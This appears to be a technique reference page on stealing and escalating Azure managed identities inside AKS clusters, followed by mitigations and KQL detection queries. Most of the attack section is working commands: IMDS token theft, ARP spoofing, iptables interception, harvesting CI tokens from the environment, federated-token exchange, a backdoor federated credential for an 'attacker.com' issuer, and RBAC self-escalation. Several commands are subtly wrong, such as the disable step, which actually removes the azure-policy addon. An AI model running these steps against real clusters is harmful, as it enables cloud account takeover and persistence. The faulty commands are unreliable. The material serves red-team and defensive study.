| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-016 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Privilege Escalation / Lateral Movement |
| Platforms | Entra ID / Azure Kubernetes Service (AKS) |
| Severity | High |
| CVE | CVE-2021-1677 (AAD Pod Identity ARP Spoofing - now deprecated), N/A (Workload Identity Federation abuse still active) |
| Technique Status | ACTIVE (AAD Pod Identity deprecated; Workload Identity Federation is replacement and also exploitable) |
| Last Verified | 2025-01-09 |
| Affected Versions | AKS clusters using AAD Pod Identity (deprecated as of 2024); Workload Identity Federation on all Kubernetes 1.24+ versions |
| Patched In | AAD Pod Identity deprecated (use Workload Identity Federation instead; no specific security patch); Workload Identity has no fix (requires architectural mitigation) |
| Author | SERVTEP – Artur Pchelnikau |
The Managed Identity Pod Assignment attack exploits the misconfiguration or abuse of Azure’s managed identity assignment mechanisms in AKS clusters. Two primary technologies are involved: (1) Azure AD Pod Identity (deprecated), which uses ARP spoofing vulnerabilities to allow pods to impersonate other pods’ identities, and (2) Workload Identity Federation (modern replacement), which allows federated identity exchange but can be abused if credentials are compromised or if the federated trust relationship is misconfigured.
The attack chain typically begins with an attacker achieving code execution in a pod with lower privileges. From there, the attacker can:
High risk of identity compromise and lateral movement across cloud resources. Attacker can:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.7.3 | Workload identities must be scoped to least-privilege and reviewed regularly |
| CISA SCuBA | ACC-09 | Pod identity assignments must be audited and restricted to specific namespaces/workloads |
| NIST 800-53 | IA-2 (Authentication) | Workload identity mechanisms must use strong authentication (federated tokens, certificates) |
| NIST 800-53 | AC-3 (Access Enforcement) | Pod identities must not have permissions exceeding their workload scope |
| GDPR | Art. 32 (Security of Processing) | Workload identity assignment must be logged and audited |
| DORA | Art. 9 (Protection and Prevention) | Critical operators must restrict workload identity scope |
| NIS2 | Art. 21 (Cyber Risk Management) | Workload identity federation requires trust relationship validation |
| ISO 27001 | A.6.1.2 (Segregation of Duties) | Pod identities must not exceed application requirements |
| ISO 27001 | A.9.4.1 (Cryptography) | Federated tokens must be cryptographically validated |
| ISO 27005 | Risk Scenario: “Compromise of Workload Identity Provider” | External identity provider compromise could affect all connected workloads |
Step 1: Discover Pods with Assigned Identities
# From within a pod, enumerate other pods in the cluster
kubectl get pods -A -o wide
# Look for pods with identity annotations
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.metadata.annotations.aadpodidbinding}{"\n"}{end}'
# Alternative: Check for pods with service account tokens
kubectl get serviceaccounts -A
kubectl describe sa <service-account-name> -n <namespace>
What to Look For:
Pod annotations containing:
- aadpodidbinding=<identity-name>
- aadpodidbinding=high-privilege-identity
- azure.workload.identity/use=true
Service accounts bound to managed identities
Step 2: Query NMI Metadata Endpoint (AAD Pod Identity - Legacy)
# From pod, attempt to access NMI endpoint
curl -s http://169.254.122.1/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/ \
-H "Metadata:true"
# If NMI is running, returns token for the pod's assigned identity
Step 3: Check for Workload Identity Federation Configuration
# Check pod's service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Decode the token to see its claims
echo "<token>" | jq -R 'split(".") | .[1] | @base64d | fromjson'
# Look for OIDC issuer claim
# Should show something like: https://token.actions.githubusercontent.com or https://dev.azure.com/...
Step 4: Enumerate Identity Assignments via IMDS
# If IMDS is accessible, enumerate identity details
TOKEN=$(curl -s http://169.254.169.254/metadata/identity/oauth2/token \
-H "Metadata:true" \
--data-urlencode "resource=https://management.azure.com/" | jq -r '.access_token')
# List all managed identities accessible
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<sub-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities?api-version=2018-11-30"
Supported Versions: AKS clusters using Kubenet (default) with AAD Pod Identity installed and CAP_NET_RAW enabled
Objective: Check if the pod has CAP_NET_RAW capability (required for ARP spoofing).
Command:
# From within a pod, check capabilities
cat /proc/1/status | grep Cap
# Look for CAP_NET_RAW in CapEff or CapPrm
# CapEff: 0000003fffffffff (if bit 13 is set, CAP_NET_RAW is enabled)
# More reliable check
grep Cap_net_raw /proc/1/status
What to Look For:
CapPrm: 00000000a80425fb (CAP_NET_RAW enabled if certain bits set)
CapEff: 00000000a80425fb (CAP_NET_RAW enabled)
If CAP_NET_RAW is present → ARP spoofing possible
Objective: Identify pods with high-privilege managed identities.
Command (Python - ARP Spoofing Script):
#!/usr/bin/env python3
import socket
import struct
import textwrap
# Craft ARP request to discover pods with managed identities
def create_arp_request(target_ip):
"""Create ARP request to probe for identity endpoint"""
# ARP packet structure
hardware_type = 1 # Ethernet
protocol_type = 0x0800 # IPv4
hardware_size = 6
protocol_size = 4
operation = 1 # ARP request
sender_mac = b'\x00\x00\x00\x00\x00\x01' # Spoof MAC
sender_ip = socket.inet_aton("169.254.122.1") # Spoof NMI endpoint IP
target_mac = b'\xff\xff\xff\xff\xff\xff'
target_ip = socket.inet_aton(target_ip)
# Pack ARP packet
arp_packet = struct.pack("!HHBBH6s4s6s4s",
hardware_type,
protocol_type,
hardware_size,
protocol_size,
operation,
sender_mac,
sender_ip,
target_mac,
target_ip
)
return arp_packet
# Send ARP request
def spoof_identity(target_pod_ip):
"""Spoof identity request to target pod"""
# This would normally send ARP packets to redirect traffic
# In practice, once traffic is redirected to your pod's identity endpoint,
# you can intercept and modify the response
print(f"[*] Attempting to spoof identity for pod: {target_pod_ip}")
Bash Alternative (Using native tools):
#!/bin/bash
# Enumerate pods and their IPs
pods=$(kubectl get pods -o wide | awk '{print $1, $6}' | grep -v NAME)
# For each pod, attempt to impersonate via ARP
for pod in $pods; do
pod_name=$(echo $pod | awk '{print $1}')
pod_ip=$(echo $pod | awk '{print $2}')
echo "[*] Attempting to spoof: $pod_name ($pod_ip)"
# Send gratuitous ARP to claim the pod's IP
arpsend -e -c 1 -S 169.254.122.1/24 -T $pod_ip 169.254.122.1 -t 00:00:00:00:00:01
done
Objective: Intercept IMDS requests from spoofed pod and respond with high-privilege token.
Command (Using iptables to redirect IMDS traffic):
# Redirect IMDS requests to your pod
sudo iptables -t nat -A OUTPUT -d 169.254.122.1 -p tcp --dport 80 \
-j REDIRECT --to-port 8080
# Start a local listener to intercept and respond
python3 -m http.server 8080 &
# When a pod requests identity token, your endpoint responds with
# a crafted token for the high-privilege identity
Objective: Obtain or forge a token for a high-privilege managed identity.
Command (If you can intercept requests):
# When a pod requests: GET /metadata/identity/oauth2/token?resource=https://management.azure.com/
# Respond with a crafted JWT token or forward the request to a real NMI endpoint
# while modifying the response to include a higher-privilege identity
# Example response:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlJDTXhqTUhWYWtHSllrYzFWR1ZsTmtyQ0swMCIsImtpZCI6IlJDTXhqTUhWYWtHSllrYzFWR1ZsT...",
"expires_on": "1641234567",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
Supported Versions: AKS clusters with Workload Identity Federation enabled (all Kubernetes 1.24+)
Objective: Compromise or access the external identity provider (GitHub, Azure DevOps, etc.).
Method A: GitHub Actions Token Compromise
# If the pod runs GitHub Actions workflows, tokens may be available in:
# Environment variables:
env | grep GITHUB
# GitHub context:
echo $GITHUB_TOKEN
echo $GITHUB_REF
echo $GITHUB_SHA
# If workflow has a checkout, secrets may be exposed in logs
Method B: Azure DevOps Personal Access Token Compromise
# Azure DevOps tokens may be stored in:
env | grep SYSTEM_ACCESSTOKEN
env | grep FEED_ACCESSTOKEN
# These tokens can be used to request Entra ID tokens via federated credentials
Method C: Compromise External IdP Directly
Objective: Discover which managed identities are configured with federated credentials.
Command (Using Entra ID Graph API):
# If you have access to an Entra ID service principal:
TOKEN=$(az account get-access-token --resource-type ms-graph | jq -r '.accessToken')
# List app registrations with federated credentials
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications" | jq '.value[] | {displayName, id}'
# Get federated credentials for an app
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications/<app-id>/federatedIdentityCredentials" | jq '.'
What to Look For:
{
"issuer": "https://token.actions.githubusercontent.com",
"subject": "repo:attacker/repo:ref:refs/heads/main",
"audiences": ["api://AzureADTokenExchange"],
"description": "GitHub Actions"
}
This means: GitHub Actions for the "attacker" repo can impersonate this identity
Objective: Use the external IdP token to request an Entra ID token via federated credentials.
Command (Request Token via Federated Credentials):
#!/bin/bash
# Step 1: Get the external token (e.g., from GitHub Actions)
EXTERNAL_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) # Or GitHub token
# Step 2: Request Entra ID token using the external token
ENTRA_TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=<app-id>" \
-d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange" \
-d "subject_token=$EXTERNAL_TOKEN" \
-d "subject_token_type=urn:ietf:params:oauth:token-type:jwt" \
-d "assertion=$EXTERNAL_TOKEN" \
-d "requested_token_use=on_behalf_of" | jq -r '.access_token')
echo "Entra ID Token Obtained: ${ENTRA_TOKEN:0:50}..."
# Step 3: Use the token to access Azure resources
curl -s -H "Authorization: Bearer $ENTRA_TOKEN" \
"https://management.azure.com/subscriptions?api-version=2021-04-01"
Expected Output:
Successfully exchanged external token for Entra ID token!
Now can access Azure resources as the managed identity
Objective: Create additional federated credentials to maintain persistent access.
Command (Add Malicious Federated Credential):
# If you have permissions to modify federated credentials:
curl -s -X POST \
-H "Authorization: Bearer $ADMIN_TOKEN" \
"https://graph.microsoft.com/v1.0/applications/<app-id>/federatedIdentityCredentials" \
-H "Content-Type: application/json" \
-d '{
"issuer": "https://attacker.com/oidc", # Attacker-controlled OIDC provider
"subject": "service:backdoor-service",
"audiences": ["api://AzureADTokenExchange"],
"description": "Persistent Access"
}'
# Now attacker can mint arbitrary tokens from their OIDC provider
# and exchange them for Entra ID tokens indefinitely
Supported Versions: All AKS versions
Objective: Determine which managed identity the pod is assigned to.
Command:
# Get the pod's service account
kubectl get pod <pod-name> -o jsonpath='{.spec.serviceAccountName}' -n <namespace>
# Check the service account's annotations for identity binding
kubectl describe sa <service-account-name> -n <namespace> | grep azure.workload.identity
# Get the managed identity client ID
kubectl get serviceaccount <service-account-name> -n <namespace> \
-o jsonpath='{.metadata.annotations.azure\.workload\.identity/client-id}'
Objective: Check what the current managed identity can access.
Command:
# Using the managed identity token, enumerate Azure resources
TOKEN=$(curl -s http://169.254.169.254/metadata/identity/oauth2/token \
-H "Metadata:true" \
--data-urlencode "resource=https://management.azure.com/" | jq -r '.access_token')
# List role assignments for the identity
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<sub-id>/providers/Microsoft.Authorization/roleAssignments?api-version=2021-03-01-preview"
# Identify if identity has permissions to:
# - Create new identities
# - Modify RBAC assignments
# - Access Key Vault, storage, databases
Objective: If current identity has permissions, escalate to a higher-privilege identity.
Command (If current identity can modify RBAC):
# Step 1: Find a higher-privilege identity in the same subscription
HIGHER_PRIV_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<sub-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities?api-version=2018-11-30" | \
jq -r '.value[] | select(.name | contains("admin")) | .id' | head -1)
# Step 2: Assign the current identity's service principal a role on the higher-privilege identity
ROLE_ID="b24988ac-6180-42a0-ab88-20f7382dd24c" # Contributor role
curl -s -X PUT \
-H "Authorization: Bearer $TOKEN" \
"https://management.azure.com${HIGHER_PRIV_ID}/providers/Microsoft.Authorization/roleAssignments/<new-assignment-id>?api-version=2021-03-01-preview" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"roleDefinitionId": "/subscriptions/<sub-id>/providers/Microsoft.Authorization/roleDefinitions/'$ROLE_ID'",
"principalId": "<current-identity-principal-id>"
}
}'
# Now current identity has access to the higher-privilege identity's resources
Test ID: T1078.004 - Cloud Account Access via Managed Identity
Description: Simulates pod identity compromise and token theft.
Supported Versions: AKS clusters with AAD Pod Identity or Workload Identity Federation
Test Command:
# Deploy a test pod that attempts to access managed identity
cat > test-identity-pod.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
name: identity-test-pod
namespace: default
labels:
azure.workload.identity/use: "true"
spec:
serviceAccountName: test-sa
containers:
- name: test
image: curlimages/curl:latest
command:
- /bin/sh
- -c
- |
echo "Testing managed identity access..."
curl -s http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/ \
-H "Metadata:true" | jq .
exit 0
EOF
kubectl apply -f test-identity-pod.yaml
# Wait and check results
kubectl wait --for=condition=ready pod/identity-test-pod --timeout=30s
kubectl logs identity-test-pod
Cleanup:
kubectl delete pod identity-test-pod
Reference: Atomic Red Team T1078.004
Action 1: Migrate from AAD Pod Identity to Workload Identity Federation
Manual Steps (Azure Portal):
Manual Steps (PowerShell/CLI - Disable AAD Pod Identity):
# Disable AAD Pod Identity
az aks disable-addons --resource-group myResourceGroup \
--name myCluster \
--addons azure-policy
# Verify AAD Pod Identity pods are removed
kubectl get pods -n kube-system | grep aad-pod-identity
# Should return no results
Manual Steps (Deploy Workload Identity Federation):
# Create user-assigned managed identity
az identity create --resource-group myResourceGroup \
--name myWorkloadIdentity
# Get identity details
IDENTITY_ID=$(az identity show --resource-group myResourceGroup \
--name myWorkloadIdentity --query id -o tsv)
IDENTITY_PRINCIPAL_ID=$(az identity show --resource-group myResourceGroup \
--name myWorkloadIdentity --query principalId -o tsv)
# Create Kubernetes service account with workload identity annotation
kubectl create serviceaccount my-workload-sa -n default
kubectl annotate serviceaccount my-workload-sa \
-n default \
azure.workload.identity/client-id=$(az identity show --resource-group myResourceGroup \
--name myWorkloadIdentity --query clientId -o tsv)
Action 2: Restrict Managed Identity Assignment via RBAC
Manual Steps (Limit Who Can Assign Identities):
Microsoft.ManagedIdentity/userAssignedIdentities/read (NOT write/assign)Manual Steps (PowerShell - Restrict Identity Assignment):
# Create custom role that prevents identity assignment
$role = New-AzRoleDefinition -InputFile "restrictedKubernetesRole.json"
# restrictedKubernetesRole.json content:
{
"Name": "AKS Developers - Limited",
"Description": "Can view AKS but cannot assign/modify identities",
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"Permissions": [
{
"Actions": [
"Microsoft.ContainerService/managedClusters/read"
],
"NotActions": [
"Microsoft.ManagedIdentity/*"
]
}
]
}
# Assign the custom role to developers
New-AzRoleAssignment -ObjectId <developer-group-id> \
-RoleDefinitionName "AKS Developers - Limited" \
-Scope "/subscriptions/<subscription-id>/resourceGroups/myResourceGroup/providers/Microsoft.ContainerService/managedClusters/myCluster"
Action 3: Enable Pod Security Standards to Block CAP_NET_RAW
Manual Steps (Apply Pod Security Standard):
# Label namespace to enforce restricted pod security
kubectl label namespace default \
pod-security.kubernetes.io/enforce=restricted \
pod-security.kubernetes.io/audit=restricted
# Pods must not have CAP_NET_RAW capability
# This prevents ARP spoofing attacks on AAD Pod Identity
Manual Steps (Pod Security Policy - If PSP still in use):
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted-no-caps
spec:
privileged: false
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL # Drop all capabilities including CAP_NET_RAW
requiredDropCapabilities:
- NET_RAW # Explicitly drop CAP_NET_RAW
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
- 'persistentVolumeClaim'
Action 4: Monitor and Audit Federated Credential Changes
Manual Steps (Enable Audit Logging for Federated Credentials):
# Configure Entra ID audit logs to track federated credential changes
# Navigate to: Azure AD → Audit logs → Sign-in activity
# Create KQL query to detect federated credential modifications:
KQL Query:
AuditLogs
| where OperationName == "Add federated identity credential"
or OperationName == "Update federated identity credential"
or OperationName == "Delete federated identity credential"
| project TimeGenerated, OperationName, InitiatedBy.user.userPrincipalName, TargetResources
| where InitiatedBy.user.userType != "User" # Flag if non-user modified credentials
Manual Steps (PowerShell - Monitor for Suspicious Federated Credential Usage):
# Create alert for unusual federated token exchanges
Get-MgAuditLogDirectoryAudit -Filter "activityDateTime gt 2025-01-08" |
Where-Object { $_.operationName -like "*federated*" } |
Select-Object TimeGenerated, OperationName, InitiatedBy, TargetResources
Action 5: Implement Conditional Access Policies for Workload Identities
Manual Steps (Create Conditional Access for Workload Identities):
Block Workload Identity from Unusual IP RangesAll workload identities (or filter by specific app registrations)Action 6: Regularly Audit Managed Identity Assignments
Manual Steps (Quarterly Audit):
#!/bin/bash
# Run quarterly to verify only necessary managed identities are assigned
# List all managed identities in subscription
az identity list -g myResourceGroup -o table
# For each identity, check role assignments
for identity in $(az identity list -g myResourceGroup --query '[].name' -o tsv); do
echo "=== Audit: $identity ==="
PRINCIPAL_ID=$(az identity show -g myResourceGroup \
-n $identity --query principalId -o tsv)
# List all role assignments
az role assignment list \
--assignee $PRINCIPAL_ID \
--output table
done
# Remove identities that are no longer needed
az identity delete -g myResourceGroup -n unused-identity
Conditional Access:
RBAC/ABAC:
Policy Config:
Network Patterns:
Process Patterns:
Audit Log Signals:
Kubernetes Audit Logs:
// Detect suspicious pod identity operations
AzureDiagnostics
| where Category == "kube-apiserver"
| where properties_verb_s in ("get", "list") and properties_objectRef_s contains "secrets"
| where properties_sourceIPs_s contains "169.254" // IMDS or identity endpoint
| project TimeGenerated, properties_user_username_s, properties_objectRef_s, properties_sourceIPs_s
Entra ID Sign-In Logs (Federated Credentials):
SigninLogs
| where AppDisplayName contains "token.actions.githubusercontent.com"
or AppDisplayName contains "dev.azure.com"
or AppDisplayName contains "federated"
| where ConditionalAccessStatus != "notApplied" // Anomalies
| project TimeGenerated, UserPrincipalName, AppDisplayName, IpAddress, Location
Azure Activity Log (Managed Identity Operations):
AzureActivity
| where OperationName == "Create or Update User Assigned Identity"
or OperationName == "Create or Update Federated Identity Credential"
| where Caller != "Microsoft.ManagedIdentity"
| project TimeGenerated, OperationName, ResourceId, Caller
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Container Escape | Attacker gains code execution within AKS pod |
| 2 | Privilege Escalation | [PE-VALID-016] | Attacker compromises pod’s managed identity via ARP spoofing or federated credential abuse |
| 3 | Credential Access | [CA-TOKEN-013] AKS Service Account Token Theft | Attacker steals service account token |
| 4 | Lateral Movement | [LM-AUTH-016] Managed Identity Cross-Resource | Attacker uses stolen identity to access other Azure resources |
| 5 | Collection | [COLLECTION-015] Cloud Storage Data Exfiltration | Attacker exfiltrates data using managed identity |
| 6 | Persistence | [PE-ACCTMGMT-016] SCIM Provisioning Abuse | Attacker creates backdoor identities in Entra ID |